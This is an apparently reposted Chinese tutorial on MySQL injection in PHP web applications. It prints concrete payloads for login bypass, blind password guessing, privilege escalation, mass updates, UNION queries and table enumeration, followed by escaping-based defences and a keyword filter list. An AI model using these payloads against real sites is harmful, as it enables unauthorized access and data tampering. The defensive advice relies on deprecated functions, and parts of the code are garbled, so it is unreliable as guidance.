1.简单判断是否有注入漏洞以及原理。
网址:http://www.jb51.net/benwin.PHP?id=1运行正常,sql语句如:select?*?from PHPben where id=1
(1)网址:http://www.jb51.net/benwin.PHP?id=1'??sql语句如:select?*?from PHPben where id=1'然后运行异常这能说明benwin.PHP文件没有对id的值进行“'”过滤和intval()整形转换,当然想知道有没有对其他字符如“%”,“/*”等都可以用类似的方法穷举测试。
(2)网址:http://www.jb51.net/benwin.PHP?id=1 and 1=1则sql语句可能是select?*from PHPben where id=1 and 1=1,运行正常且结果和http://www.jb51.net/benwin.PHP?id=1结果一样,则说明benwin.PHP可能没有对空格“”、和“and”过滤。
(3)网址:http://www.jb51.net/benwin.PHP?id=1 and 1=2则sql语句可能是select*from PHPben where id=1 and 1=2如果运行结果异常说明sql语句中“and 1=2”起作用,所以能3个条件都满足都则很确定的benwin.PHP存在注入漏洞。
2.常见的mysql注入语句
(1)不用用户名和密码
代码如下:
//正常语句
$sql="select*from PHPben where user_name='admin'and pwd='123'";
//在用户名框输入'or'='or'或'or 1='1然后sql如下:
$sql="select*from PHPben where user_name=''or'='or''and pwd=''";
$sql="select*from PHPben where user_name=''or 1='1'and pwd=''";
这样不用输入密码。
(2)在不输入密码的情况下,利用某用户
代码如下:
//正常语句
$sql="select*from PHPben where user_name='$username'and pwd='$pwd'";
//利用的用户名是benwin则用户名框输入benwin'#?密码有无都可,则$sql变成:
$sql="select*from PHPben where user_name='benwin'#'and pwd='$pwd'";
这是因为mysql中其中的一个注悉是“#”,上面语句中#已经把后面的内容给注悉掉,所以密码可以不输入或任意输入。
(3)猜解用户密码
代码如下:
//正常语句:
$sql="select*from PHPben.com where user_name='$username'and pwd='$pwd'";
//在密码输入框中输入“benwin'and left(pwd,1)='p'#”,则$sql是:
$sql="select*from PHPben.com where user_name='benwin'and left(pwd,1)='
p'#'and pwd='$pwd'";
如果运行正常则密码的密码第一个字符是p,同理猜解剩下字符。
(4)插入数据时提权
代码如下:
//正常语句,等级为1
$sql="insert into PHPben.com(`user_name`,`pwd`,`level`)values(‘benwin',
'iampwd',1)";
//通过修改密码字符串把语句变成:
$sql="insert into PHPben.com(`user_name`,`pwd`,`level`)values(‘benwin',
'iampwd',5)#',1)";$sql="insert into PHPben.com(`user_name`,`pwd`,`level`)
values(‘benwin','iampwd',5)--',1)";这样就把一个权限为1的用户提权到
等级5
(5)更新提权
代码如下:
//正常语句
$sql="update PHPben set?`user_name`='benwin',level=1";
//通过输入用户名值最终得到的$sql:
$sql="update PHPben set`user_name`='benwin',level=5#',level=1";$sql="
update PHPben set`user_name`='benwin',level=5--',level=1";
(6)恶意更新和删除
代码如下:
//正常语句
$sql="update PHPben set`user_name`=‘benwin'where id=1";
//注入后,恶意代码是“1 or id>0”
$sql="update PHPben set`user_name`=‘benwin'where id=1 or id>0";
//正常语句
$sql="update PHPben set`user_name`='benwin'where id=1";
//注入后
$sql="update PHPben set`user_name`='benwin'where id>0#'where id=1";
$sql="update PHPben set`user_name`='benwin'where id>0--'where id=1";
(7)union、join等
代码如下:
//正常语句
$sql="select*from PHPben1 where`user_name`='benwin'";//注入后$sql="se
lect*from PHPben1 where`user_name`='benwin'uninon select*from PHPben2#'(www.xing528.com)
";$sql="select*from PHPben1 where`user_name`='benwin'left join……#'";
(8)通配符号%、_
代码如下:
//正常语句
$sql="select*from PHPben where`user_name`='benwin'";
//注入通配符号%匹配多个字符,而一个_匹配一个字符,如__则匹配两个字符
$sql="select*from PHPben where`user_name`like'%b'";$sql="select*
from PHPben where`user_name`like'_b_'";
这样只要有一个用户名字是b开头的都能正常运行,“_b_”是匹配三个字符,且这三个字符中间一个字符时b。这也是为什么有关addslashes()函数介绍时提示注意没有转义%和_。
(9)猜测表信息的注入sql
代码如下:
//正常语句
$sql="select*from PHPben1 where`user_name`='benwin'";
//猜表名,运行正常则说明存在PHPben2表
$sql="select*from PHPben1 where`user_name`='benwin'and(select count(*)from PHPben2)>0#'";
//猜表字段,运行正常则说明PHPben2表中有字段colum1
$sql="select*from PHPben1 where`user_name`='benwin'and(select count(colum1)from PHPben2)>0#'";
//猜字段值
$sql="select*from PHPben1 where`user_name`='benwin'and left(pwd,1)='p'#''";
3.防注入方法
(1)addslashes和stripslashes。
Addslashes给这些“'”、“””、“\”,“NULL”添加斜杆“\'”、“\””、“\\”,“\NULL”,stripslashes则相反,这里要注意的是PHP.ini是否开启了magic_quotes_gpc=ON,开启若使用addslashes会出现重复。所以使用的时候要先get_magic_quotes_gpc()检查
一般代码类似:
if(!get_magic_quotes_gpc()){ $abc=addslashes($abc);}
(2)mysql_escape_string()和mysql_real_escape_string()
mysql_real_escape_string必须在(PHP 4>=4.3.0,PHP 5)的情况下才能使用。否则只能用mysql_escape_string
代码如下:
if(PHP_VERSION>='4.3'){$string=mysql_real_escape_string($string);}
else{$string=mysql_escape_string($string);}
mysql_escape_string()和mysql_real_escape_string()却别在于后者会判断当前数据库连接字符集,换句话说在没有连接数据库的前提下会出现类似错误:
代码如下:
Warning:mysql_real_escape_string()[function.mysql-real-escape-string]:Access denied for user'ODBC'@'localhost'(using password:NO)in E:\webPHP\test.PHP on line 11
(2)字符代替函数和匹配函数
str_replace()、perg_replace()这些函数之所以也在这里提是因为这些函数可以用于过滤或替代一些敏感、致命的字符。
4.防注入字符优先级。
防注入则要先知道有哪些注入字符或关键字,常见的mysql注入字符有字符界定符号如“'”、“””;逻辑关键字如“and”、“or”;mysql注悉字符如“#”,“-”,“/**/”;mysql通配符“%”,“_”;mysql关键字“select|insert|update|delete|*|union|join|into|load_file|outfile”
(1)对于一些有规定格式的参数来说,防注入优先级最高的是空格””。
如一些银行卡号,身份证号,邮箱,电话号码,,生日,邮政编码等这些有自己规定的格式且格式规定不能有空格符号的参数,在过滤的时候一般最先过滤掉空格(包括一些空格“变种”)。
(2)“and”,“or”,“\”,“#”,“-”
逻辑关键可以组合很多注入代码;mysql注悉则把固有sql代码后面的字符全部给注悉掉从而让注入后的sql语句能正常运行;“\”也是能组合很多注入字符\x00,\x1a。
(3)“null”,“%”,“_”
这几个不能独立,都不要在特定情况下,比如通配字符“%,_”都要在mysql like子句的前提下。所以“%”,“_”的过滤一般在搜索相关才过滤,不能把它们纳入通常过滤队列,因为有些如邮箱就可以有”_”字符
(4)关键字“select|insert|update|delete|*|union|join|into|load_file|outfile”
也许你会问怎么这些重要关键字却优先级这么低。笔者想说的是因为这些关键字在没有“'”,“””,“”,“and”,“or”等情况下购不成伤害。换句话说这些关键字不够“独立”,“依赖性”特别大。当然优先级低,不代表不要过滤。
5.防注入代码
(1)参数是数字直接用intval()函数
注意:现在很多网上流行的防注入代码都只是只是用addslashes()、mysql_escape_string()、mysql_real_escape_string()或三者任意组合过滤:
代码如下:
$id=addslashes($_POST['id']);
//正确是
$id=intval($_POST['id']);$sql="select*from PHPben.com where id=$id";
$sql="select*from PHPben.com where id=1 or 1=1";
对比容易发现,post过来的数据通过addslashes过滤后的确很多注入已经不起作用,但是$id并没有intval,导致漏洞的存在。
(2)对于非文本参数的过滤
文本参数是指标题、留言、内容等可能有“'”,“'”等内容,过滤时不可能全部转义或代替。
但非文本数据可以。
(3)文本数据防注入代码
文本参数是指标题、留言、内容等这些数据不可能也用str_replace()过滤掉,这样就导致数据的完整性,这是很不可取的。
(4)其他与addslashes、mysql_escape_string结合的代码
防注入的代码其实来来去去都是那些组合,然后根据自己程序代码变通,笔者这些代码也是没考虑全的,不如cookes、session、request都没全过滤。重要是知道其中原理,为什么过滤这些字符,字符有什么危害。
免责声明:以上内容源自网络,版权归原作者所有,如有侵犯您的原创版权请告知,我们将尽快删除相关内容。